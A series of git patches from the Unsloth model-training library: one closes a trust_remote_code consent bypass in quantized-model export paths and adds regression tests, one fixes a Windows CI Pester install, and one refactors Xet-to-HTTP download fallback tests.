+            patch.object(stack_mod, "IS_MAC_ARM", False),
+            patch.object(stack_mod, "NO_TORCH", False),
+            patch.object(stack_mod, "_rocm_windows_torch_installed", False),
+            patch.object(stack_mod, "_bootstrap_uv", return_value = False),
+            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True),
+            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
+            patch.object(stack_mod.subprocess, "run", return_value = subprocess_result),
+        ):
+            assert stack_mod.install_python_stack() == 0
+
+        installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args]
+        assert not any("torchao" in arg for arg in installed_specs)
+
+
 # TEST: worker.py -- Windows ROCm patches (source-level checks)
 
 

From 64f6526160a6f72d8b813e60430feb06f67e9476 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sun, 5 Jul 2026 05:16:39 -0700
Subject: [PATCH 193/306] Fix export-time trust_remote_code bypass in
 FP8/INT8/GGUF-LoRA export (#6869)

* Fix export-time trust_remote_code bypass in FP8/INT8/GGUF-LoRA export

The torchao, compressed-tensors, and LoRA GGUF export paths re-read the merged
checkpoint and used to set trust_remote_code from the checkpoint config's static
auto_map (the torchao path also scanned the staged tokenizer/processor configs).
A model that loads with built-in Transformers classes can carry an auto_map entry,
which skips the load-time remote-code consent scan (that only runs when the load
already requested trust_remote_code) yet flips trust_remote_code on at export,
running unvetted custom code.

Derive the reload trust_remote_code from the approved load decision instead: a new
_loaded_via_remote_code() checks whether the in-memory model / tokenizer was itself
loaded from custom code (its class lives in the transformers_modules package),
walking PEFT / wrapper layers. Built-in-loaded models no longer gain trust from
config metadata; genuine custom-code models (loaded with consent) still reload
correctly. Add CPU-only regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden _loaded_via_remote_code against a None/missing __module__

Read type(node).__module__ via getattr and require a string before startswith,
so a dynamically created or C-extension class with a None module does not raise
during export. Add a regression test.

* Split model and tokenizer trust for the compressed subprocess, walk processor components

The compressed-tensors export collapsed model and tokenizer trust into
one --trust-remote-code flag, so an approved custom tokenizer would have
let an unapproved model's custom code run inside the quantization
subprocess. The subprocess now takes --trust-remote-code-tokenizer for
the processor load and keeps --trust-remote-code for the model loads,
matching the torchao path's separate model_trust / tok_trust.

_loaded_via_remote_code now also walks processor components (tokenizer,
image_processor, feature_extractor, video_processor), so an approved
custom tokenizer held inside a built-in ProcessorMixin keeps its trust
on the export reload instead of failing with trust_remote_code=False.
The walk is a bounded BFS with a seen set so wrapper cycles terminate.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../test_torchao_remote_code_consent.py       | 150 ++++++++++++++++++
 unsloth/_compressed_quantize.py               |   7 +-
 unsloth/save.py                               | 101 ++++++++----
 3 files changed, 223 insertions(+), 35 deletions(-)
 create mode 100644 tests/saving/test_torchao_remote_code_consent.py

diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py
new file mode 100644
index 0000000000..1d0acb7866
--- /dev/null
+++ b/tests/saving/test_torchao_remote_code_consent.py
@@ -0,0 +1,150 @@
+"""Regression tests for the export-time remote-code trust decision.
+
+FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable
+trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model
+that loads fine with built-in classes (and therefore skips the load-time consent scan) could
+smuggle unvetted remote code that then runs at export. The export paths now derive
+trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead.
+
+These run on CPU with no torch / unsloth import: they AST-extract the real helper from
+unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust.
+"""
+
+import ast
+from pathlib import Path
+
+_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+_SRC = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _load_helper():
+    """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it."""
+    tree = ast.parse(_SRC)
+    fn = next(
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code"
+    )
+    ns = {}
+    exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns)
+    return ns["_loaded_via_remote_code"]
+
+
+_loaded_via_remote_code = _load_helper()
+
+
+def _obj(module_name, **attrs):
+    """A throwaway instance whose class __module__ is `module_name`, plus given attributes."""
+    cls = type("Fake", (), {})
+    cls.__module__ = module_name
+    inst = cls()
+    for k, v in attrs.items():
+        setattr(inst, k, v)
+    return inst
+
+
+def test_builtin_class_is_not_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False
+
+
+def test_transformers_modules_class_is_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True
+
+
+def test_none_is_not_remote_code():
+    assert _loaded_via_remote_code(None) is False
+
+
+def test_none_module_is_not_remote_code():
+    # A class whose __module__ is None must not raise AttributeError.
+    assert _loaded_via_remote_code(_obj(None)) is False
+
+
+def test_auto_map_in_config_alone_does_not_grant_trust():
+    # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT
+    # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).
+    cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()
+    assert (
+        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))
+        is False
+    )
+
+
+def test_peft_base_model_is_unwrapped():
+    base = _obj("transformers_modules.acme.modeling_x")
+    peft = _obj("peft.peft_model", get_base_model = lambda: base)
+    assert _loaded_via_remote_code(peft) is True
+
+
+def test_wrapper_model_attr_is_walked():
+    inner = _obj("transformers_modules.acme.modeling_x")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is True
+
+
+def test_wrapper_over_builtin_stays_false():
+    inner = _obj("transformers.models.llama.modeling_llama")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is False
+
+
+def test_processor_held_custom_tokenizer_is_detected():
+    # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must
+    # descend into processor components or the export reload loses that approved trust.
+    tok = _obj("transformers_modules.acme.tokenization_x")
+    proc = _obj("transformers.processing_utils", tokenizer = tok)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_processor_held_custom_image_processor_is_detected():
+    ip = _obj("transformers_modules.acme.image_processing_x")
+    proc = _obj("transformers.processing_utils", image_processor = ip)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_builtin_processor_with_builtin_components_stays_false():
+    proc = _obj(
+        "transformers.processing_utils",
+        tokenizer = _obj("transformers.tokenization_utils_fast"),
+        image_processor = _obj("transformers.image_processing_utils"),
+    )
+    assert _loaded_via_remote_code(proc) is False
+
+
+def test_cyclic_wrappers_terminate():
+    a = _obj("peft.peft_model")
+    b = _obj("peft.peft_model", model = a)
+    a.model = b
+    assert _loaded_via_remote_code(a) is False
+
+
+# -- call-site assertions: the auto_map-derived trust is gone from every export path -----------
+
+
+def test_torchao_export_derives_trust_from_load_decision():
+    assert "model_trust = _loaded_via_remote_code(model)" in _SRC
+    assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC
+    assert "trust_remote_code = model_trust" in _SRC
+    assert "trust_remote_code = tok_trust" in _SRC
+    # The staged-config auto_map scan that granted trust is removed.
+    assert 'if "auto_map" in json.load' not in _SRC
+
+
+def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():
+    # No path derives a trust decision straight from config auto_map anymore, and no path
+    # collapses model and tokenizer trust into one flag.
+    assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC
+    assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC
+    assert "if _loaded_via_remote_code(model):" in _SRC  # GGUF-LoRA converter flag
+
+
+def test_compressed_export_keeps_model_and_tokenizer_trust_separate():
+    # The subprocess gets one flag per component, so an approved custom tokenizer cannot
+    # enable an unapproved model's code during compressed quantization (or vice versa).
+    assert 'cmd.append("--trust-remote-code")' in _SRC
+    assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC
+    qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")
+    assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc
+    assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc
+    # The model loads keep the model flag only.
+    assert "args.model, args.trust_remote_code)" in qsrc
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
index f0a843c380..8f7ed6e09e 100644
--- a/unsloth/_compressed_quantize.py
+++ b/unsloth/_compressed_quantize.py
@@ -203,6 +203,7 @@ def main():
     ap.add_argument("--max-seq-length", type = int, default = 2048)
     ap.add_argument("--is-vlm", action = "store_true")
     ap.add_argument("--trust-remote-code", action = "store_true")
+    ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")
     ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards")
     args = ap.parse_args()
 
@@ -232,7 +233,11 @@ def main():
     model.eval()
     # A tokenizer may be absent if the caller saved it separately; only calibration needs one.
     try:
-        tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code)
+        # The tokenizer/processor has its own trust flag: consent for one component must not
+        # let the other's custom code run.
+        tokenizer = auto_proc.from_pretrained(
+            args.model, trust_remote_code = args.trust_remote_code_tokenizer
+        )
     except Exception:
         if args.needs_calibration:
             raise RuntimeError(
diff --git a/unsloth/save.py b/unsloth/save.py
index 50ae4119bd..a6697e98a1 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -223,6 +223,49 @@ def _normalize_torchao_method(save_method):
     return TORCHAO_EXPORT_SCHEMES.get(key)
 
 
+def _loaded_via_remote_code(obj):
+    """True if `obj`'s class comes from downloaded custom code (an auto_map module).
+
+    Transformers loads auto_map code into the ``transformers_modules`` package, so a
+    ``transformers_modules`` class proves the original load actually ran that remote code
+    (which the caller's / Studio's consent gate scans at load time). Export paths derive their
+    reload trust_remote_code from this - the already approved load decision - instead of from a
+    checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its
+    unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper
+    layers so a LoRA over a custom-code base is still detected, and processor components so a
+    custom tokenizer held inside a built-in processor keeps its approved trust.
+    """
+    seen = set()
+    queue = [obj]
+    while queue and len(seen) < 16:
+        node = queue.pop(0)
+        if node is None or id(node) in seen:
+            continue
+        seen.add(id(node))
+        # __module__ can be None/absent on some dynamically created or C-extension classes;
+        # treat anything non-string as "not remote code" rather than crashing the export.
+        module = getattr(type(node), "__module__", None)
+        if isinstance(module, str) and module.startswith("transformers_modules"):
+            return True
+        if hasattr(node, "get_base_model"):
+            try:
+                queue.append(node.get_base_model())
+            except Exception:
+                pass
+        # PEFT / trainer wrappers hold the real model in base_model / model; a built-in
+        # ProcessorMixin holds its (possibly custom-code) components as attributes.
+        for attr in (
+            "base_model",
+            "model",
+            "tokenizer",
+            "image_processor",
+            "feature_extractor",
+            "video_processor",
+        ):
+            queue.append(getattr(node, attr, None))
+    return False
+
+
 def _normalize_compressed_method(save_method):
     """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
     export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
@@ -3532,7 +3575,9 @@ def _unsloth_save_lora_gguf(
             cmd += ["--base", base_model_id]
         else:
             cmd += ["--base-model-id", base_model_id]
-        if bool(getattr(model.config, "auto_map", None)):
+        # Only pass --trust-remote-code when the loaded model actually came from custom code (the
+        # approved load decision), not merely because its config carries an auto_map entry.
+        if _loaded_via_remote_code(model):
             cmd.append("--trust-remote-code")
 
         # Expose the token to the converter so it can fetch a gated/private base config from the Hub.
@@ -4387,8 +4432,8 @@ def _unsloth_save_compressed_tensors(
         )
         unsloth_generic_save(**merge_args)
 
-        # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal
-        #    model exposes a vision_config or an explicitly vision-named architecture; a bare
+        # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a
+        #    vision_config or an explicitly vision-named architecture; a bare
         #    *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it
         #    is not treated as a VLM on its own.
         is_vlm = False
@@ -4402,9 +4447,13 @@ def _unsloth_save_compressed_tensors(
                 "Unsloth: FP8/FP4 compressed export for vision / multimodal models is "
                 "experimental; vision-tower layers may be affected."
             )
-        trust_remote_code = (
-            bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False
-        )
+        # trust_remote_code must reflect the approved load decision (whether the model / tokenizer
+        # was actually loaded from custom code), not the config's static auto_map, so a
+        # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess.
+        # Model and tokenizer trust stay separate, like the torchao path: an approved custom
+        # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa).
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
 
         # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a
         #    str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp.
@@ -4479,8 +4528,10 @@ def _unsloth_save_compressed_tensors(
             cmd += ["--calibration-dataset", calib_value]
         if is_vlm:
             cmd.append("--is-vlm")
-        if trust_remote_code:
+        if model_trust:
             cmd.append("--trust-remote-code")
+        if tok_trust:
+            cmd.append("--trust-remote-code-tokenizer")
         if variant:
             cmd += ["--variant", variant]
 
@@ -4679,35 +4730,19 @@ def _unsloth_save_torchao(
         )
         unsloth_generic_save(**merge_args)
 
-        # 2) Detect VLM + trust_remote_code so the right auto class reloads the staged checkpoint.
-        #    A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so key off
-        #    vision_config / a vision-named architecture only, like the compressed path.
+        # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq
+        #    (T5/BART/Whisper), so key off vision_config / a vision-named architecture only.
         is_vlm = False
-        trust_remote_code = False
         if hasattr(model, "config"):
             archs = getattr(model.config, "architectures", None) or []
             is_vlm = hasattr(model.config, "vision_config") or any(
                 x.endswith("ForVisionText2Text") for x in archs
             )
-            trust_remote_code = bool(getattr(model.config, "auto_map", None))
-        # Custom code can be declared only in the tokenizer/processor config, so also honor an
-        # auto_map in any staged config (the original load already had the user's consent).
-        if not trust_remote_code:
-            for _cfg in (
-                "config.json",
-                "tokenizer_config.json",
-                "processor_config.json",
-                "preprocessor_config.json",
-            ):
-                try:
-                    _p = os.path.join(staging, _cfg)
-                    if os.path.exists(_p):
-                        with open(_p, "r", encoding = "utf-8") as _f:
-                            if "auto_map" in json.load(_f):
-                                trust_remote_code = True
-                                break
-                except Exception:
-                    pass
+        # trust_remote_code must reflect the approved load decision - whether the in-memory model /
+        # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an
+        # attacker can set on a built-in-loadable model to run unvetted code past the consent gate.
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
         # Reload with the class that matches the checkpoint: an image-text VLM class (with a
         # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own
         # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and
@@ -4766,12 +4801,10 @@ def _unsloth_save_torchao(
             staging,
             device_map = "auto",
             quantization_config = TorchAoConfig(quant_type = quant_type),
-            trust_remote_code = trust_remote_code,
+            trust_remote_code = model_trust,
             **dtype_kw,
         )
-        staged_tokenizer = auto_processor.from_pretrained(
-            staging, trust_remote_code = trust_remote_code
-        )
+        staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust)
 
         quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization)
         staged_tokenizer.save_pretrained(out_dir)

From 53a071cb14142c4d457aab3df2f1e2b287c790a1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sun, 5 Jul 2026 20:25:41 -0700
Subject: [PATCH 194/306] Harden Windows Pester install against missing
 PSGallery (#6892)

The setup.ps1 unit-tests job intermittently fails on the windows-latest
runner with 'No repository with the name PSGallery was found.' when the
default PowerShell Gallery is not registered, so Set-PSRepository throws
before Pester can be installed. Register the default gallery first when it
is missing, then set its policy and install Pester as before.
---
 .github/workflows/studio-windows-inference-smoke.yml | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 8186c07211..0bc216d65a 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1610,6 +1610,13 @@ jobs:
       - name: Install Pester v5
         shell: pwsh
         run: |
+          # PSGallery is intermittently absent from the repository list on GitHub's Windows
+          # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
+          # name 'PSGallery' was found." Re-register the default gallery first so the policy
+          # change and module install below always have a repository to target.
+          if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
+            Register-PSRepository -Default -ErrorAction SilentlyContinue
+          }
           Set-PSRepository PSGallery -InstallationPolicy Trusted
           Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
           Import-Module Pester -MinimumVersion 5.5.0

From cb6737cbb8e2a8bf82985b19fcb126319e67cc5e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:13:25 -0700
Subject: [PATCH 195/306] Auto Xet to HTTP download fallback in
 from_pretrained; share Studio's fallback via unsloth_zoo (#6638)

---
 .github/workflows/consolidated-tests-ci.yml   |   1 +
 studio/backend/tests/test_hf_xet_fallback.py  | 550 +++++------
 .../tests/test_model_update_robustness.py     |  44 +-
 studio/backend/utils/hf_xet_fallback.py       | 554 ++++-------
 .../model-selector/model-update-action.tsx    |  11 +-
 .../assistant-ui/model-selector/pickers.tsx   |  14 +-
 tests/test_prefetch_snapshot_scope.py         | 916 ++++++++++++++++++
 unsloth/models/_utils.py                      | 406 ++++++++
 unsloth/models/diffusion.py                   |  41 +-
 unsloth/models/llama.py                       |  73 ++
 unsloth/models/loader.py                      |  47 +
 unsloth/models/sentence_transformer.py        | 144 ++-
 unsloth/models/vision.py                      |  74 ++
 unsloth/tokenizer_utils.py                    |  18 +-
 14 files changed, 2155 insertions(+), 738 deletions(-)
 create mode 100644 tests/test_prefetch_snapshot_scope.py

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index 7978a200c0..ae4b386589 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -364,6 +364,7 @@ jobs:
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
+            tests/test_prefetch_snapshot_scope.py \
             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
           # only bound on the module when `flash_attn` is importable. flash_attn
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 9e40fbf508..4d73213d15 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -1,18 +1,16 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP
-transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on.
-CPU-only, no network, no real subprocess (the per-attempt download seam is
-monkeypatched).
+"""Tests for the Studio shim over the shared unsloth_zoo Xet -> HTTP fallback.
+
+The transport-policy matrix is tested once in unsloth_zoo; here we assert only the
+Studio seam: re-exporting the shared API and injecting the marker-aware
+prepare_cache_for_transport on the HTTP retry. CPU-only, no network, no real subprocess.
 """
 
 from __future__ import annotations
 
-import subprocess
 import sys
-import threading
-import time
 import types as _types
 from pathlib import Path
 
@@ -22,9 +20,8 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-# Stub heavy/unavailable deps before importing the module under test. Use the
-# real structlog when present; a bare stub left in sys.modules would break later
-# modules that log at import time.
+# Stub heavy/unavailable deps before importing the module under test. Use real structlog when present;
+# a bare stub would break later modules that log at import time.
 _loggers_stub = _types.ModuleType("loggers")
 _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
 sys.modules.setdefault("loggers", _loggers_stub)
@@ -34,171 +31,59 @@ except ImportError:
     sys.modules["structlog"] = _types.ModuleType("structlog")
 
 import huggingface_hub
-from huggingface_hub import constants as hf_constants
+
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared_mod
+    shared = _shared_mod
+except Exception:  # noqa: BLE001 - still collect degraded-path tests when unsloth_zoo is unavailable
+    shared = None
 
 import utils.hf_xet_fallback as xf
 
 
-# --------------------------------------------------------------------------- #
-# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total.
-# --------------------------------------------------------------------------- #
-REPO = "ztest/xet-watchdog"
-
-
-@pytest.fixture
-def hf_cache(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    return tmp_path
-
-
-def _blobs_dir(root: Path, repo_id: str = REPO) -> Path:
-    d = root / f"models--{repo_id.replace('/', '--')}" / "blobs"
-    d.mkdir(parents = True, exist_ok = True)
-    return d
-
-
-def _wait(
-    predicate,
-    timeout: float = 2.0,
-    step: float = 0.02,
-) -> bool:
-    deadline = time.monotonic() + timeout
-    while time.monotonic() < deadline:
-        if predicate():
-            return True
-        time.sleep(step)
-    return predicate()
-
-
-def test_constant_incomplete_fires_stall(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024)  # never grows
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        assert _wait(
-            lambda: len(calls) >= 1, timeout = 3.0
-        ), "watchdog never fired on a constant-size .incomplete"
-    finally:
-        stop.set()
-    assert "stalled" in calls[0].lower()
-
-
-def test_growing_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    part = blobs / "growing.incomplete"
-    part.write_bytes(b"\0" * 1024)
-
-    grow_stop = threading.Event()
-
-    def _grow():
-        size = 1024
-        while not grow_stop.wait(0.05):
-            size += 4096
-            part.write_bytes(b"\0" * size)
-
-    grower = threading.Thread(target = _grow, daemon = True)
-    grower.start()
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(1.0)  # well past stall_timeout, but bytes keep growing
-        assert calls == [], "watchdog fired despite continuous progress"
-    finally:
-        stop.set()
-        grow_stop.set()
-
-
-def test_no_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "finalized_blob").write_bytes(b"\0" * 4096)  # no .incomplete
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(0.8)
-        assert calls == [], "watchdog fired with no active .incomplete"
-    finally:
-        stop.set()
-
-
-def test_stall_fires_at_most_once(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048)
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2
-    )
-    try:
-        assert _wait(lambda: len(calls) >= 1, timeout = 3.0)
-        time.sleep(0.6)  # keep ticking; must not fire again
-        assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1"
-    finally:
-        stop.set()
-
-
-def test_get_state_empty_cache(hf_cache):
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_absent_cache_root(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache"))
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_skips_local_paths(hf_cache):
-    # Filesystem paths are not HF repo IDs and must be ignored without error.
-    assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False)
-
-
-def test_get_state_sparse_aware(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    sparse = blobs / "sparse.incomplete"
-    with open(sparse, "wb") as f:
-        f.truncate(64 * 1024 * 1024)  # large apparent size, few allocated blocks
-    st = sparse.stat()
-    if getattr(st, "st_blocks", 0) == 0:
-        pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable")
-    total, has_incomplete = xf.get_hf_download_state([REPO])
-    assert has_incomplete is True
-    assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks"
-
-
-# --------------------------------------------------------------------------- #
-# Transport policy: cached short-circuit, cancel, error propagation, and the
-# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn.
-# --------------------------------------------------------------------------- #
 DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf"
 
 
-@pytest.fixture(autouse = True)
-def _no_real_cache_hit(monkeypatch):
-    """Default: the cached probe misses; tests override it to force a hit."""
+def _requires_shared():
+    if shared is None:
+        pytest.skip("unsloth_zoo.hf_xet_fallback is not installed in this environment")
+
+
+def test_shim_reexports_shared_api():
+    _requires_shared()
+    assert xf.DownloadStallError is shared.DownloadStallError
+    for name in (
+        "start_watchdog",
+        "get_hf_download_state",
+        "child_should_disable_xet",
+        "hf_hub_download_with_xet_fallback",
+        "snapshot_download_with_xet_fallback",
+    ):
+        assert hasattr(xf, name), f"shim missing {name}"
+
+
+def test_child_should_disable_xet_truth_table():
+    assert xf.child_should_disable_xet({"disable_xet": True}) is True
+    assert xf.child_should_disable_xet({"disable_xet": False}) is False
+    assert xf.child_should_disable_xet({}) is False
+
+
+def test_shim_injects_studio_prepare_on_http_retry(monkeypatch):
+    """A Xet stall retries over HTTP and the shim runs Studio's marker-aware
+    ``prepare_cache_for_transport(..., 'http')`` before the retry."""
+    _requires_shared()
+    for var in ("UNSLOTH_DISABLE_XET", "UNSLOTH_STABLE_DOWNLOADS", "HF_HUB_DISABLE_XET"):
+        monkeypatch.delenv(var, raising = False)
     monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: None)
 
+    seen_disable_xet = []
 
-class _FakeAttempt:
-    """Records calls to the download seam and returns scripted results."""
-
-    def __init__(self, results):
-        self._results = list(results)
-        self.calls = []
-
-    def __call__(
-        self,
+    def fake_attempt(
         repo_id,
-        filename,
-        token,
         *,
+        kind,
+        params,
+        token,
         repo_type,
         disable_xet,
         cancel_event,
@@ -208,146 +93,243 @@ class _FakeAttempt:
         on_status,
         force_download = False,
     ):
-        self.calls.append(
-            _types.SimpleNamespace(
-                repo_id = repo_id,
-                filename = filename,
-                disable_xet = disable_xet,
-                repo_type = repo_type,
-            )
-        )
-        return self._results[len(self.calls) - 1]
+        seen_disable_xet.append(disable_xet)
+        return ("ok", "/cache/model.gguf") if disable_xet else ("stall", None)
 
+    monkeypatch.setattr(shared, "_run_download_attempt", fake_attempt)
 
-def _install(monkeypatch, results):
-    fake = _FakeAttempt(results)
-    monkeypatch.setattr(xf, "_run_download_attempt", fake)
-    return fake
-
-
-def test_cached_file_short_circuits(monkeypatch, tmp_path):
-    cached = tmp_path / "cached.gguf"
-    cached.write_bytes(b"\0" * 8)
-    monkeypatch.setattr(huggingface_hub, "try_to_load_from_cache", lambda *a, **k: str(cached))
-    fake = _install(monkeypatch, [])  # must not be called
-
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == str(cached)
-    assert fake.calls == [], "spawned a download for an already-cached file"
-
-
-def test_cancel_before_start_raises_no_attempt(monkeypatch):
-    fake = _install(monkeypatch, [])
-    ev = threading.Event()
-    ev.set()
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None, cancel_event = ev)
-    assert fake.calls == []
-
-
-def test_nonstall_error_propagates_without_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("error", "RepositoryNotFoundError: 404 not found")])
-    with pytest.raises(RuntimeError, match = "RepositoryNotFoundError"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1, "deterministic error must not trigger an HTTP fallback"
-    assert fake.calls[0].disable_xet is False
-
-
-def test_immediate_success_uses_xet_only(monkeypatch):
-    prepared = []
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport",
-        lambda *a, **k: prepared.append(a),
-    )
-    fake = _install(monkeypatch, [("ok", "/cache/model.gguf")])
-    out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 1 and fake.calls[0].disable_xet is False
-    assert prepared == [], "no cache prep should run when Xet succeeds first try"
-
-
-def test_stall_then_http_fallback_succeeds(monkeypatch):
     prepared = []
